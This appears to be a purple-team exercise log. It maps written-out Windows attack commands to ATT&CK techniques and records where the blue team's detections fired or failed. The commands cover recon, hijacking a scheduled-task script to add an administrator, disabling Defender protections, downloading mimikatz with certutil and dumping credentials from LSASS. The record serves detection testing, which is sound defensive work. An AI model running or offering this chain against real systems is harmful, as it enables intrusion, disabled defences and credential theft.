Part 1

Step	Action	ATT&CK Techniques	Blue Verification
1.1	`nmap -Pn -p 22,445,636,3389 --open 10.0.1.0/24`	T1595, T1003	No detection
1.2	`xfreerdp /u:PurpleUser /p:SecurePwd123 /v:10.0.1.15 /cert-ignore`	T1021.001, T1078	is T1078 but we don't have detections on incoming RDP connections
1.3	`whoami /all systeminfo`	T1033, T1082, T1059.001 (PowerShell T1059.001 will not be mentioned after that every time it is used)	We have three different data sources we could use. Currently we have no "recon" detections which cover whoami
1.4	`quser`	T1033, T1082	Same as 1.3
1.5	`net localgroup administrators`	T1069.001	Proc_creation_win_net_groups_and_accounts_recon.yml Detection is tagged as T1087.001 and T1087.002
1.6	`Get-Process | Select -Unique ProcessName`	T1057	No detection

1.7	`Get-MpComputerStatus`	?	No detection
1.8	`Get-ScheduledTask | where {$_.TaskPath -notlike "*Microsoft*" }`	T1053.001	No detection index=win Scheduled OR scheduled NOT Defender Shows no data we could use
1.9	`schtasks /query /fo LIST /v /tn UpdateTask`	T1053.001	No detection index=win schtasks Shows data that could be used
1.10	`icacls C:\Update.ps1`	T1222.001	
1.11	`"net localgroup administrators PurpleUser /add" | Out-File -Append C:\Update.ps1`	T1078.003	Win_security_user_added_to_local_administrators.yml We get double detections once for net and once for net1 index=win net.exe OR net1.exe | table source, CommandLine
1.12	`net localgroup administrators`	T1069.001	proc_creation_win_net_groups_and_accounts_recon.yml
1.13	`whoami /all`	T1033	Same as 1.3

1.14	`Set-MpPreference -DisableRealtimeMonitoring 1`
	`Set-MpPreference -DisableBehaviorMonitoring 1`
	`Set-MpPreference -DisableScriptScanning 1`
		T1562.001	Win_defender_real_time_protection_disabled.yml
			
			Win_defender_suspicious_features_tampering.yml
			
			But probably the second detection does not detect all actions

	`Set-MpPreference -DisableBlockAtFirstSeen 1`		
1.15	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/mimikatz.exe C:\Temp\m.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts
1.16	`C:\temp\m.exe privilege::debug sekurlsa::logonpasswords`	T1003.001	file_event_win_hktl_mimikatz_files.yml sysmon_mimikatz_detection_lsass.yml win_alert_mimikatz_keywords.yml In place but don't trigger 1: that's not what we emulated 2: could trigger, index=win lsass AND (0x1410 OR 0x1010 OR 0x410) shows data 3: could trigger but did not, index=win sekurlsa shows no data, may need to adjust logging/auditing or due to running the cms in the mimikatz prompt